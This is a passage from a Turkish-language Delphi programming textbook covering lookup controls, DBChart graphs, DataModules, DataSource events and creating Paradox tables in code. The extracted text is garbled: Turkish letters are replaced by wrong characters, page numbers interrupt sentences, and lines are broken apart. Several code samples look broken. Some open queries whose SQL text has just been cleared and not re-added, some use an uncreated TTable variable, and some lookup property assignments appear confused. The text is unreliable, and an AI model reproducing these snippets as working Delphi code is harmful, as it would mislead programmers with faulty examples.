ma÷aza adını seçme iúlemini gerçekleútirecektir. Bu seyede oluúabilecek
hataların (yanlıú ma÷azayı seçerse sizin yapabilece÷iniz hiçbir úey yoktur.
Yüzde yüz kullanıcı hatası olur. Ama unutmayın önleyebilece÷iniz kullanıcı
132
hatalarınıda mutlaka ekleyece÷iniz kodlarla minimuma indirmeye çalıúınız)
neredeyse tamamının önüne geçmiú olacaksınız. Programın çalıútırıldıktan
sonraki görüntüsü aúa÷ıdaki pencerede gösterilmektedir. Kayıt girerken veya
de÷iútirirken kullanıcının “ComboBox” içerisinde var olan listeyi kullanaca÷ını
sakın untmayınız.
x DBLookupComboBox1.Text
Kontrolün gösterdi÷i de÷er bu özellikte saklanmaktadır.
procedure TForm3.DBLookupComboBox1Click(Sender: TObject);
begin
Form3.Caption:=DBLookupComboBox1.Text;
end;
x DBLookupComboBox1.DropDownRows
Kontrol içerisindeki liste açıldı÷ı zaman gösterilecek olan satır sayısı bu
özellikle belirlenir. ùayet satır elemanları daha fazla ise öbür elemanlara
kaydırma çubu÷u sayesinde eriúilebilir.
procedure TForm3.DBLookupComboBox1Click(Sender: TObject);
//Kaç Satır
begin
DBLookupComboBox1.DropDownRows:=8;
end;
133
DBLookupListBox Kontrolü:
Karakteristik olarak “DBLookupComboBox” kontrolüne ait özellikleri aynen
kullanır. Kontrolü anlamanız için aúa÷ıdaki úekilde “Query1” kontrolünü
kullanarak “DataGrid” nesnesi (DataSource1 ve kullanılarak) içerisindeki
satırları doldurun (Bu hususta ba÷lantının nasıl yapılabilece÷i daha önce detaylı
olarak anlatılmıútır). Aynı forma ikinci bir “Query” ve Datasource nesnesiyle
beraber bir adette “DBLookupListBox” kontrolü yerleútiriniz.Amacımız
“MAGAZA” tablosundaki ma÷aza adlarını liste içerisinde göstermek olacaktır.
Ardından da listeden seçilen ma÷aza adına göre “DataGrid” nesnesinde
sorgulama yapaca÷ız. Yani seçti÷imiz ma÷aza ismine ait servisleri
listeleyece÷iz.
Programa ait kod blo÷u aúa÷ıda verilmiútir. “Unit” pencerenize ekleyiniz.
begin
Query1.Open;
Query2.SQL.Add('Select MAGAZAADI from MAGAZA');
Query2.Open;
DBLookupListBox1.ListSource:=DataSource2;
DBLookupListBox1.KeyField:='MAGAZAADI';
end;
134
procedure TForm4.DBLookupListBox1DblClick(Sender: TObject);
var
deger:AnsiString;
begin
deger:=DBLookupListBox1.SelectedItem;
Query1.SQL.Clear;
Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG');
Query1.Params[0].AsString:=deger;
Query1.Open;
end;
Programı çalıútırdıktan sonra listeden üzerine çift tıklayaca÷ınız ma÷aza adına
ait yapılmıú olan tüm servisler “DataGrid” nesnesinde gösterilecektir.
135
Tabloda Lookup Sütunları Yaratmak:
Lookup kontrolleri dıúında tablonuzda direk lookup sütunları oluúturursanız,
kayıt ekleme ve de÷iútirme zamanlarında sizlere çok büyük kolaylıklar
sa÷layacaktır. Olayı örnek üzerinde izah etmek istiyorum. Öncelikle aúa÷ıdaki
iki tabloyu “yeniler” isimli bir “alias” oluúturup içerisine kaydedin.
Tablo1:URUN Tablosu
BARKODNO
Type(Tipi)
N
URUNADI
A
FIYATI
$
Key(Primary ind)
*
25
Tablo2:SATIS Tablosu
SIRANO
Type(Tipi)
+
URUNADI
A
SATISTARIHI
D
FIYATI
$
KDV
$
TOPLAMTUTAR
$
Key(Primary ind)
*
25
Uygulamadaki amaç ikinci tabloya kayıt girerken “Ürün Adı” nı seçti÷i zaman
“FIYATI” sütunu de÷erini otomatik olarak birinci tablodan alacak (do÷abilecek
fiyat farklılıklarını bu úekilde her zaman engelleyebilirsiniz). ùimdi “Table”
kontrolüNÜ kullanarak “DataGrid” nesnesinde ikinci tablonun (SATIS) tüm
kayıtlarının gösterilmesini sa÷layıp aúa÷ıda verilen adımları izleyin.
Formunuza ikinci bir “Table” nesnesi ekleyin.
136
“DataBaseName” özelli÷ine Alias isminizi (yeniler), “TableName”
özelli÷inede “URUN” (birinci tablo) tablosunu aktarın. “Active”
özelli÷ini de true yapın.
ùimdi eklemiú oldu÷unuz ilk “Table” (Table1) nesnesini seçip mousun
sa÷ tuúuna tıklayın. Açılan menüden “Fields Editor” seçene÷ine tıklayın.
Açılan pencere den “URUNADI” sütununu seçip “Object Inspector”
penceresinden
“FieldKind”
özelli÷ine
“fkLookup”,”KeyFields”
özelli÷ine “FIYATI” sütununu, “Lookup Dataset” özelli÷ine “Table2”,
“LookupResultField”
özelli÷ine
“URUNADI”
sütununu,
“LookupKeyFields” özelli÷ine de “FIYAT” sütununu aktarın.
Bundan sonra yapaca÷ımız kısım Lookup iúlemleri için zorunlu de÷ildir.
Ama proje olması açısından bunlarıda aynen uygulayın.
Bu adımda “KDV” ile “TOPLAMFIYAT” sütununu beraberce seçip
“FieldKind” özelliklerini “fkCalculated” yapın.
Aúa÷ıdaki kod blo÷unuda gösterilen yordama ekleyip projenizi
çalıútırabilirsiniz.
procedure TForm3.Table1CalcFields(DataSet: TDataSet);
//Hesapla
begin
Table1KDV.AsCurrency:=Table1FIYATI.AsCurrency*0.15;
Table1TOPLAMFIYAT.AsCurrency:=Table1FIYATI.AsCurrency*1.15;
end;
Yukarıdaki kod satırını yazmamdaki amaç ürünün fiyatı belirlendikten sonra
“KDV” ile “TOPLAMFIYAT” sütunlarının de÷erlerinin otomatik olarak (hiç bir
tetikleyici kullanmadan) hesaplanmasını istemiú olmamdan kaynaklanmaktadır.
Yoksa “Lookup” iúlemleriyle herhangi bir ilgisi yoktur.
137
Programı çalıútırdıktan sonra “Kayıt Ekle” dü÷mesine (+) basın. “URUNADI”
Sütununa mous ile çift tıklarsanız sa÷ tarafında açılan bir pencere belirecektir
(Lookup olayı). Bu pencereden herhangi bir ürünü seçti÷iniz vakit, bu ürünün
birinci tablodaki fiyatı otomatik olarak ikinci tabloya aktarılacak (FIYATI
sütununa), hesaplama iúlemleri için yukarıdaki kod çalıútırılarak di÷er iki sütun
daha hesaplattırılacaktır.
“URUNADI” sütunundan “TV” seçildikten hemen sonraki “DataGrid”
görüntüsünü yukarıda görebilirsiniz. Di÷er sütun bilgileri yerlerini almıú úekilde
beklemektedir.
Dördüncü adımdaki Lookup iúleminde kullanılan özellikleri ayrıca izah etmek
istiyorum. Bunları “Object Inspector” penceresinden ayarladık dilerseniz
aúa÷ıdaki úekilde kodlada de÷erlerini atayabilirdiniz.
x Table1.Fields[0].LookupDataSet
Kontrolün içerisinde gösterilecek de÷erlerin bulundu÷u sütun de÷erinin hangi
tablo içerisinde oldu÷unu belirleyen özelli÷idir.
begin
TABLE1.Fields[0].LookupDataSet:=Table2;//ilk sütun
end;
x Table1.Fields[0].LookupKeyFields
Seçilen de÷erin di÷er tablodaki hangi sütun de÷erine yazılaca÷ını belirleyen
özelli÷idir.
138
begin
TABLE1.Fields[0].LookupDataSet:=Table2;
Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString;//ikinci sütun
end;
x Table1.Fields[0].LookupResultField
Açılan listede gösterilecek olan kayıtların kayna÷ı olarak kullanılacak olan sütun
ismini belirleyebilece÷iniz özelli÷idir.
begin
Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString;
Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString;
end;
x Table1.Fields[0].KeyFields
Seçilen de÷erin ana tabloda hangi sütun yerine yazdırılaca÷ını belirleyen
özelli÷idir.
begin
Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString;
Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString;
Table1.Fields[0].KeyFields:=Table1FIYATI.AsString;
end;
x Table1.Fields[0].FieldKind
Sütunun hesaplanma úekline belirleyen özelli÷idir. “fkLookup” de÷eri atanırsa
baúka bir sütuna ait de÷eri kullanabilir.
begin
Table1.Fields[0].FieldKind:=fkLookup;
end;
139
140
BÖLÜM 4
GARAFøK ÇøZDøRMEK
141
142
Tablo Kayıtlarını Grafikte Göstermek:
Bu bölümdeki amacımız elimizde mevcut olan tablolara ait bilgileri kullanarak
grafik oluúturmak olacaktır. Kullanaca÷ımız grafik kontrolü ile birden fazla
seriyi aynı grafik içerisinde gösterme úansına sahibiz. Aúa÷ıdaki adımları
dikkatlice inceleyiniz.
Formunuza bir adet “Data Controls” yapra÷ında yer alan “DBChart”
kontrolü yerleútirip “Align” özelli÷ine “alClient” de÷erini aktarın.
økinci adımda “BDE” yapra÷ında yer alan “Table” veye “Query”
kontrollerinden bir tanesini formunuza sürükleyin (Biz “Query”
kontrolünü tercih ettik).
“Query” Kontrolünüzün “DataBaseName” özelli÷ine “gazi”, “SQL”
özelli÷inede “Select MAGAZAADI,sum(FATURATUTARI) From
Servis Group By MAGAZAADI” sorgusunu girin. Bu sorgudaki
amacımız ma÷azalar için yapılmıú olan toplam servis ödemelerini grafik
olarak göstermek olacaktır (Tek kalem olarak).
“Query” kontrolünün “Active” özelli÷ine “true” de÷erini aktarınız.
En son görüntünüz yukarıdaki úekilde oluúmalıdır.
Bu adımda “DBChart” kontrolünü seçip mousun sa÷ tuúuna tıklayın.
Açılan menüden “Edit Chart” seçene÷ini seçerseniz Aúa÷ıdaki pencere
açılacaktır.
Grafi÷e ait bütün görsel ve içeriksel ayarları buradan yapabilirsiniz.
“Editing DBChart” penceresinde iki adet ana yaprak, o yapralara ait bir
sürü alt seçenekler bulunmaktadır. ùimdi bu seçenekler içerisinde bizler
için önem arz edecek olanlarını detaylıca inceleyece÷iz.
143
Yaprakları incelerken sırayla gitmeyece÷im. Sebebi basittir, önemli
olanlardan basit olanlara do÷ru bir inceleme yöntemi seçtim. Dikkatlice
izleyiniz.
ølk Olarak grafi÷i çizilecek olan seriyi ekleyelim (zorunludur). “Chart”
yapra÷ı aktif iken, alt yapraklardan “Series” sayfasını aktifleútin.
“Add” dü÷mesine tıklayın aúa÷ıdaki pencere açılacaktır. Bu pencereden
grafi÷inizin türünü seçebilirsiniz.
ølgili türü seçtikten sonra “OK” dü÷mesine basarak pencereyi kapatınız.
144
Aúa÷ıdaki pencerede gözüktü÷ü gibi ilk seriniz oluúmuú olacaktır. Bu
adımda
“Title”
dü÷mesine
tıklayarak
grafi÷inizin
ismini
belirleyebilirsiniz. Grafi÷inize isim verdikten sonraki görüntünüzün
aúa÷ıdaki úekilde oluúması gerekecektir.
Bu adımda “General” yapra÷ına geçerek görüntüsel ve animasyona
yönelik basit bir kaç ayar yapalım.
“Allow Zoom” ile “Animated Zoom” iúaret kutularını doldurun.
145
Bu seçenekler grafik üzerinde mous ile animasyonlu úekilde zoom
yapabilmenizi sa÷layacaktır.
“Titles” yapra÷ına geçin. Bu yaprak ta aúa÷ıda gösterilen baúlık ismini
yazarak (dilerseniz renk ve font ayarlarını buradan yapabilirsiniz).
“3D” Yapra÷ından da üç boyutlu görünümünü ayarlayabilirsiniz.
Bu penceredeki “3 Dimension”, grafi÷in izometrik görüntüsüne ait açı
de÷erini belirleyecektir.
146
Gelelim grafik içerisinde çizimi yapılacak olan veriler ile ba÷lantının
sa÷lanmasına, bu iúlem için “Series” yapra÷ını kullanaca÷ız. Bu yapra÷a
ait “Data Source” sayfasını aktifleútirerek aúa÷ıdaki de÷erleri giriniz.
“DataSet” kısmına “Query1”, Labels kısmına “MAGAZAADI” (Yatay
eksen), Pie kısmına da düúey eksende gösterilecek olan
“SUM(FATURATUTARI)” sütununu seçin.
“Marks” yapra÷ında da aúa÷ıdaki ayarları yapın.
“Close” dü÷mesine tıklayarak pencereyi kapatınız.
147
Artık programınızı
çizdirilecektir.
Grafi÷iniz
istedi÷iniz
úekilde
Grafi÷inizi üç boyutlu göstermek için aúa÷ıdaki basit ayarı de÷iútirmeniz yeterli
olacaktır. “Chart” yapra÷ında yer alan “3D” sayfasını aktifleútirerek
“Elevation” de÷erini uygun olan ölçüde de÷iútirin.
Uygulamanıza ait en son ekran görüntüsü yukarıdaki pencerede gözüktü÷ü
úekilde gerçekleúmiú olmalıdır. ùimdi de sizlere birden fazla seri úeklinde çizilen
grafikleri tek bir ekranda nasıl gösterebilece÷inizi gösterece÷im. Aúa÷ıdaki
adımları dikkatlice takip ediniz.
148
Birden Fazla Seri øçeren Grafik Oluúturmak:
Gelir-Gider de÷erlerinin tutuldu÷u tabloya ait bilgileri, tek bir grafik içerisinde
yöneticiye göstermek amaçlı aúa÷ıdaki úekilde oluúturunuz.
AYLAR
Type(Tipi)
A
GELIR
$
GIDER
$
Key(Primary ind)
25
Birinci adımda formunuza bir adet “Table” nesnesi yerleútirip
yukarıdaki tabloyla ba÷lantısını sa÷layın.
økinci adımda formunuza bir adet “DBChart” kontrolü yerleútirerek,
mousun sa÷ tuúuna tıklayın.
Açılan menü seçeneklerinden “Edit Chart” a tıklayarak aúa÷ıdaki
pencerenin açılmasını sa÷layın. Bu pencerede ard arda iki kere “Add”
buttonuna tıklayarak (baúlıklarınıda “Title” a tıklayarak belirleyin) iki
adet seri yaratın.
Bu adımda “Gelir” isimli seriyi seçip “Series” yapra÷ında yer alan
“DataSource” sayfasında aúa÷ıdaki úekilde de÷iúikliklerinizi yapın.
Daha önceki örnekte gösterdi÷imiz görüntüsel ayarları teker teker siz
yapın.
“Dataset” kutusuna “Table1”, “Labels” kutusuna “AYLAR”, “Y”
kutusunada “GELIR” atamalarını yapın.
149
Son adım olarak tekrar “Chart” yapra÷ını aktifleútirin.
Bu sefer “Gider” isimli seriyi seçerek “Series” yapra÷ındaki
“DataSource” sayfasını aktifleútirin. Bu sayfadaki tüm ayarları da
aúa÷ıdaki úekilde yapın.
Tekrar “Chart” yapra÷ına dönerek iki serinin baúında yer alan iúaret
kutularının seçili oldu÷unu kontrol edin. Artık uygulamanızı
150
Uygulamada iki adet serinin oldu÷u, birincisinin “Gelir” miktarını, ikincisinin
de “Gider” miktarını tuttu÷u sanıyorum dikkatinizi çekmiútir. Bu sayede zararkar durumunu grafikten kolayca izleyebilirsiniz.
Grafi÷i Yazdırmak:
Aúa÷ıdaki komutla oluúturmuú oldu÷unuz grafi÷i yazıcıya gönderebilirsiniz.
Serilerinizin ikiside bastırılacaktır.
begin
DBChart1.Print;//Yazdır
end;
151
Data Modul Yapısı:
Tablo kayıtlarını kullanıcıya gösterebilmek veya kullanıcının tablolara kayıt
ekleyebilmesini sa÷lamak amaçlı olarak formunuza bir çok kontrol eklemekteyiz
(Table,Query vs). Aynı ba÷lantılar projenizin içerisinde birçok defa
tekrarlanacaksa, bu yapıyı “DataModul” içerisinde oluúturmak size hem zaman
kazandıracak, hemde kodlamaya daha fazla zaman ayırabilece÷iniz için
sıkıntıdan kurtulacaksınız. Bu kontrolleri “DataModul” içerisinde kullanmak
sonuçları asla de÷iútirmeyecektir. Aúa÷ıda yapının oluúturulabilmesi için
izlenmesi gereken adımlar incelenmektedir.
“File->New->Other” menü adımlarından sonra aúa÷ıdaki pencere
açılacaktır.
Açılan pencere den “Data Module” seçene÷ini seçerek “OK” buttonuna
tıklayın.
“DataModule” isimli yukarıdaki pencere açılacaktır.
152
DataModule Kullanarak Tablolara Ba÷lanmak:
Bu bölümde projeye eklemiú oldu÷umuz yukarıdaki “DataModule” ü
kullanarak veri tabanı içerisinde yer alan tablolara ba÷lanaca÷ız. Aúa÷ıdaki
adımları izleyiniz.
Birinci adım da “File->New->Other->Data Module” seçeneklerini
izleyerek uygulamanıza bir adet “Data Module” nesnesi ekleyiniz (Unit2
Oluúacaktır).
økinci adım “BDE” yapra÷ında yer alan “Table” nesnesinden bir adet
“Data Module” üzerine sürükleyin.
“Data Module” üzerindeki “Table” nesnesini seçerek “DataBaseName”
özelli÷ine aliasınızın ismini (gazi), “Table Name” özelli÷ine de ba÷lantı
kuraca÷ınız tablonun ismini aktarın (MAGAZA).
Dördüncü Adım olarak “Data Module” üzerine “Data Access”
yapra÷ında yer alan “DataSource” kontrolünden bir adet yerleútirip
“DataSet” özelli÷ine “Table1” nesnesini aktarın.
Son olarak “Table” nesnesinin “Active” özelli÷ine true de÷erini
aktarın.
Bu mantıkla “Data Module” üzerine diledi÷iniz kadar kontrol
yerleútirebilirsiniz. Biz olayın anlaúılabilirli÷ini artırabilmek için bu úekilde basit
bir yapı oluúturmayı uygun gördük.
ùimdiki bölümde de formumuzun üzerine yerleútirece÷imiz kontrollerle “Data
Modül” ü kullanarak tablonuzdaki kayıtlara nasıl eriúebilece÷inizi gösterece÷im.
Öncelikle aúa÷ıdaki form tasarımını oluúturunuz.
Formunuzun üzerine bir adet “DBGrid” nesnesi ile bir adet “DBNavigator”
kontrolü yerleútiriniz. Ardından formunuza ait “Unit” penceresine “uses Unit2”
satırını ekleyin (Bu satırı eklemezseniz Data Modül Unit2 ye ait olaca÷ı için
153
di÷er iúlemlerinizi gerçekleútiremeyeceksiniz). Bu satır sayesinde “Data Modül”
nesnesine eriúebileceksiniz.
ùimdi “DBGrid” kontrolünü seçerek “Object Inspector” penceresinde yer alan
“DataSource” özelli÷ine tıklayın. Aúa÷ıdaki úekilde “DataModül” ünüzün
gözükece÷i bir görüntü elde edeceksiniz (özelli÷e bu nesneyi aktarın).
Aynı iúlemi “DBNavigator” kontrolü için de yapıp uygulamanızı çalıútırın.
Görüldü÷ü gibi baúka hiç bir kod satırına ihtiyaç duyulmadan, tablonuza ait tüm
kayıtları kolayca listelemeyi baúaracaksınız.
154
Data Module øçerisinde Parametre Oluúturmak:
Bu Defa daha karmaúık bir yapıya sahip olan “DataModule” içerisinde
parametre oluúturma iúlemine de÷inece÷im. Örne÷imiz için aúa÷ıdaki úekilde
içerisinde “DBGrid” , “DBNavigator” , “Button” ve “Edit” kontrollerinin yer
aldı÷ı form tasarımını oluúturunuz.
Artık projemize “Data Module” ekleyerek içerisinde parametre oluúturalım.
“File->New->Other->Data Module” seçeneklerini izleyerek projenize
bir adet “Data Module” nesnesi ekleyiniz.
økinci adımda “Data Module” içerisine “BDE” yapra÷ında yer alan
“Query” kontrolünü sürükleyin.
“Query” kontrolünün “DataBase Name” özelli÷ine aliasınızın ismini
aktarın (gazi). Ardından “SQL” özelli÷ine tıklayarak aúa÷ıdaki sorgu
komutunu giriniz.
155
“OK” Dü÷mesine tıklayın.
Bu adımda “Query” kontrolünün “Active” özelli÷ine true de÷erini aktarın.
Formunuza “Data Access” yapra÷ında yer alan Data Source nesnesinden
ekleyerek “DataSet” özelli÷ine “Query1” kontrolünü aktarın.
Son olarak aúa÷ıdaki kod blo÷unu formunuza ait “Unit” pencerenize
ekleyiniz.
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DBCtrls, ExtCtrls, Grids, DBGrids,StdCtrls, unit3;//ekleyin
//DataModule3 e ulaúabilmek için ekleyeceksiniz.
begin
DataModule3.Query1.SQL.Clear;
DataModule3.Query1.SQL.Add('Select
*
fROM
magaza
Where
MAGAZAADI=:MAG');//parametre yaratılıyor
DataModule3.Query1.Params[0].AsString:=Edit1.Text;
DataModule3.Query1.Open;
end;
Artık programınızı çalıútırabilirsiniz. Ma÷aza ismini “Edit” kontrolüne girip
“Parametre” isimli dü÷meye tıklayınız.
Yazmıú oldu÷unuz ma÷aza ismine “Data Module” kullanarak
ulaúabilece÷inizi göreceksiniz.
156
kolayca
DataSource Kontrolü:
Tablonuza ait kayıtların “Data Controls” yapra÷ında yer alan kontrollere
aktarılabilmesi (veya tam tersi) için kullandı÷ımız çok önemli bir kontroldür.
Çok fazla özelli÷i olmamakla beraber, var olan bir kaç özellik aúırı önem arz
etmektedir. Aúa÷ıda kontrole ait kullanılan özellik ve yordamlar izah
edilmektedir.
x DataSource1.DataSet
Bu özellik sayesinde kaynak olarak kullanılacak olan tablo kontrolü
belirlenebilir. Ba÷lanılan kaynaktaki tüm kayıtlar bu aúamadan sonra
formunuzun üzerindeki kontrollere aktarılabilecektir.
begin
Table1.DatabaseName:='gazi';
Table1.TableName:='MAGAZA';
DataSource1.DataSet:=Table1;//Kayna÷a ba÷lan
DBGrid1.DataSource:=DataSource1;
Table1.Active:=TRUE;//kayıtları göster
end;
x DataSource1.AutoEdit
Varsayılan de÷eri true olan bu özellik tabloda yanlıúlıkla yapılabilecek olan
de÷iúiklikleri engellemek için kullanılmaktadır. ùayet false de÷erini aktarırsanız,
kullanıcı “DBNavigator” kontrolündeki “Edit” dü÷mesine basmadan veya
“Table1.Edit” komutunu ça÷ırmadan kontrollerdeki bilgileri de÷iútiremiyecektir.
Özelli÷i anlamanız için aúa÷ıdaki tasarımı oluúturup uygulamanızı çalıútırınız.
Fornunuzun üzerine bir adet “Table” bir adet “DataSource” bir adet
“DBNavigator” ve bir adet “DBGrid” kontrolü yerleútirmek yeterli olacaktır.
157
Aúa÷ıda verece÷im koda dikkat ediniz. Çünkü “DataSource” kontrolüne ait
“AutoEdit” özelli÷ine “false” de÷eri aktarılmaktadır. Bu sayede kullanıcı mous
ile tıklayarak kayıtlarda de÷iúiklik yapamaz.
begin
DataSource1.DataSet:=Table1;
DataSource1.AutoEdit:=false; //da÷iútirmeye izin verme
DBNavigator1.DataSource:=DataSource1;//Kayna÷ı Yönet
Table1.Active:=TRUE;
end;
ùimdi programınızı çalıútırıp herhangi bir kaydı de÷iútirmeye çalıúın,
baúaramayacaksınız.
Bu aúamada kayıtlarınız üzerinde de÷iúiklik yapabilmeniz için “DBNavigator”
kontrolünde yer alan “Edit” (sa÷dan dördüncü dü÷me) dü÷mesini kullanmanız
gerekecektir.
x OnDataChange Yordamı
Tabloda yer alan kayıtlarda yapılan de÷iúikliklerde otomatik olarak iúleyen bir
yordamdır. Yani bulundu÷unuz kaydı de÷iútirirseniz veya kayıt gezinti
dü÷melerinden herhangi bir tanesini kullanırsanız yordamı otomatik olarak
iúletirsiniz. Master-Detail tablo yapısında bu yordam kullanılarak “Detail”
tablosuna ait kayıtlar listelenebilmektedir. Aúa÷ıdaki örnekte bu yordam
kullanılarak ana tablodaki kayıt de÷iúti÷i zaman yavru tabloda da sadece aktif
kayıttaki bilgiler gösterilmektedir.
158
Uygulamamız için formunuza bir adet “Table” , bir adet “Query” iki adet
“DBGrid”, iki adet “DataSource” ve iki adet “DBNavigator” kontrolü
yerleútirerek aúa÷ıdaki tasarımı oluúturunuz.
Programa ait kod blo÷u aúa÷ıda verilmiútir. Tamamını dikkatlice inceleyiniz.
begin
//Birinci Tablo Ayarları Yapılıyor
DataSource1.DataSet:=Table1;
DBNavigator1.DataSource:=DataSource1;
Table1.Active:=TRUE;
//økinci tablo ayarları yapılıyor.
Query1.SQL.Clear;
Query1.Params[0].AsString:=Table1.Fields[0].AsString;//ma÷azaadı sütunu
Query1.Open;
159
DBNavigator2.DataSource:=DataSource2;
Query1.Open;
end;
procedure TForm2.DataSource1DataChange(Sender: TObject; Field:
TField);
begin
Query1.SQL.Clear;
Query1.Params[0].AsString:=Table1.Fields[0].AsString;
Query1.Open;
Query1.Open;
end;
Artık programınızı çalıútırabilirsiniz. Ekran görüntünüz aúa÷ıdaki úekilde
gerçekleúecektir.
ølk tabloda hangi ma÷aza kaydını seçerseniz, sadece o ma÷azaya ait yapılmıú
olan servisleri ikinci tabloda listeleyeceksiniz.
160
x OnUpdateData Yordamı
Kayıtlar veri tabanına yazılmadan hemen önce iúleyen bir yordamdır. Yani
yaptı÷ınız de÷iúikliklerin tablonuza yansımasından hemen önce iúletilecektir.
Tablonuza ait kayıt bilgileri üzerinde bu yordama yazaca÷ınız kodla gerekli
kontrolü sa÷layabilirsiniz. “DBNavigator” kontrolünde yer alan “Uygula”
(sa÷dan üçüncü) dü÷mesine tıklamanız bu yordamın iúletilmesini
sa÷layacaktır.
procedure TForm2.DataSource1UpdateData(Sender: TObject);
begin
ShowMessage('Kayıtlar Tabloya øúlendi');
end;
x OnStateChange Yordamı
Bu yordamı kullanarak “DataSource” kontrolünün ba÷lı oldu÷u kayna÷ın
(Table-Query veta Stored Proc) de÷iúip de÷iúmedi÷ini kontrol edebilirsiniz.
“State” özelli÷inin de÷iútirilmesi bu yordamın iúletilmesini sa÷layacaktır.
procedure TForm2.DataSource1StateChange(Sender: TObject);
begin
ShowMessage('Ba÷lantı Kayna÷ı De÷iúti');
end;
Uyarı: DataSource nesnesi ile çalıúırken “Auto Edit” özelli÷ine true de÷erini
aktarmanız tavsiyemiz olacaktır.
161
Kodla Tablo Oluúturmak:
Uygulamalarınızda tablolarınızı genellikle “DataBase Desktop” ı kullanarak
oluúturacaksınız. Yanlız aúa÷ıda izah edece÷im yöntemlerle tüm oluúumu kodla
yaptırırsanız bir çok durumda çok büyük esneklik kazanacaksınız. Kodla tablo
oluúturabilmek için uses satırına “DBTables” kütüphanesini eklemeniz
gerekecektir.
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DB, DBTables;//eklemeyi unutmayınız.
ùimdi tablo oluúturma adımlarına geçelim. ølk olarak aúa÷ıdaki úekilde tablo
iúlemlerinizi yürütebilece÷iniz de÷iúkeni tanımlamlısınız (Çünkü BDE
yapra÷ından sürükleme yapılmayacaktır).
Var
tablo:TTable;
begin
tablo:=TTable.Create(Form3);//nesneyi yarat
end;
x tablo.DatabaseName
Bu özellik sayesinde tabloyu kaydedebilece÷iniz klasörü belirleyebilirsiniz.
var
tablo:TTable;
begin
tablo:=TTable.Create(Form3);
tablo.DatabaseName:='C:\nihat';//buraya kaydet
end;
x tablo.TableType
Hangi veri tabanına ait tablo yarataca÷ınızı bu özellikle belirleyebilirsiniz.
Yarataca÷ınız tablo “Paradox” , “Dbase” vs olabilmektedir. Aúa÷ıdaki örnekte
“paradox” veri tabanı özelliklerini taúıyan bir tablo yaratılmaktadır. Dilerseniz
siz “Dbase” e ait bir tablo yaratabilirsiniz.
162
var
tablo:TTable;
begin
tablo.DatabaseName:='C:\nihat';
tablo.TableType:=ttParadox;
end;
x tablo.FieldDefs.Clear
Tablo sütunlarını temizlemek için kıullanılan methoddur.
var
tablo:TTable;
begin
tablo.TableName:='zeki';
tablo.FieldDefs.Clear;//temizle
end;
x tablo.TableName
Tabloya isim verme iúlemini bu özellikle gerçekleútirebilirsiniz.
var
tablo:TTable;
begin
end;
x tablo.FieldDefs.Add
Tablo sütunlarını bu method sayesinde belirleyebilirsiniz. Bu methodla
tablonuza diledi÷iniz kadar sütun ekleyebilirsiniz.
163
var
tablo:TTable;
begin
tablo.FieldDefs.Clear;
tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE);
TABLO.FieldDefs.Add('ADISOYADI',ftString,25,FALSE);
tablo.FieldDefs.Add('ADRES',ftString,25,FALSE);
end;
Yukarıdaki örneklemede “zeki” isimli tabloya üç adet sütun eklenmniútir.
Ekleme iúlemi sırasında dört adet parametre kullanılmıútır. ùimdi bu
parametrelerin ne iúe yaradıklarını izah edece÷im. Birinci parametre sütuna ait
ismi, ikinci parametre o sütuna ait veri tipini, üçüncü parametre kaç karakterden
oluúaca÷ını (sayisal içeriklerde “0” verebilirsiniz), dördüncü parametre ise boú
geçilip geçilemeyece÷ini belirlemektedir. ùayet true de÷eri aktarılırsa o sütuna
bilgi giriúi zorunlu hale gelecektir.
x tablo.IndexDefs.Clear
Tabloda daha önceki indexleri temizlemek için kullanılan komuttur.
var
tablo:TTable;
begin
tablo.IndexDefs.Clear;//temizle
end;
x tablo.IndexDefs.Add
Yarattı÷ınız tabloya index eklemek için kullanılan methoddur. Bu methodu
kullanarak birden fazla index belirleyebilirsiniz. Aúa÷ıdaki örnekte tablonuz için
nasıl index yaratabilece÷iniz gösterilmektedir.
Method içerisinde üç parametre kullanılmaktadır,
parametrelerin ne iúe yaradıklarından bahsedece÷im.
164
úimdi
sizlere
bu
var
tablo:TTable;
begin
TABLO.IndexDefs.Clear;
tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]);//index yarat
end;
Birinci parametre indexinizin ismini, ikinci parametre hangi sütunun index
olarak tanımlandı÷ını, üçüncü parametre ise indexinizin ne tipte olaca÷ını
(Primary Unique vs) belirlemektedir.
x tablo.CreateTable
Tabloya ait tüm özellikler belirlendikten sonra bu komut sayesinde tablonuz
yaratılacaktır. Aúa÷ıda tablo yaratmak için tüm kod verilmektedir.
//Tablo yarat
var
tablo:TTable;
begin
tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE);//ilk sütun
tablo.FieldDefs.Add('ADISOYADI',ftString,25,FALSE);//ikinci sütun
tablo.FieldDefs.Add('ADRES',ftString,25,FALSE);//üçüncü sutun
TABLO.IndexDefs.Clear;
tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]);
tablo.CreateTable;//Tabloyu yarat
end;
Yukarıdaki kod blo÷unu iúletirseniz zeki isminde paradox veri tabanına ait
tablonuz “c:\nihat” klasörünün içerisinde oluúturulacaktır. Bu tip tablo yaratma
iúlemlerinde daha önce fonksiyonlar kısmında gösterilen komutlarla tablonun
var olup olmadı÷ını kontrol ederseniz iúlemleriniz daha güvenli bir úekilde
gerçekleúecektir.
165
var
tablo:TTable;
begin
if FileExists('c:\nihat\zeki.db')=false Then//tablo yoksa yarat
begin
tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE);
tablo.FieldDefs.Add('ADISOYADI',ftString,25,FALSE);
tablo.FieldDefs.Add('ADRES',ftString,25,FALSE);
tablo.IndexDefs.Clear;
tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]);
tablo.CreateTable;//Tabloyu yarat
ShowMessage('Tablo Yaratıldı');
end
else
ShowMessage('Tablo Zaten Var');
end;
Kodu çalıútırdıktan sonra c:\nihat klasörü aúa÷ıdaki úekilde gözükecektir.
166
BÖLÜM 5
RAPOR DOSYASI OLUùTURMAK
167
168
Rapor Dosyaları Oluúturmak:
ùu ana kadar iúlenen bölümlerde oluúturdu÷umuz arayüzler sayesinde kontrolleri
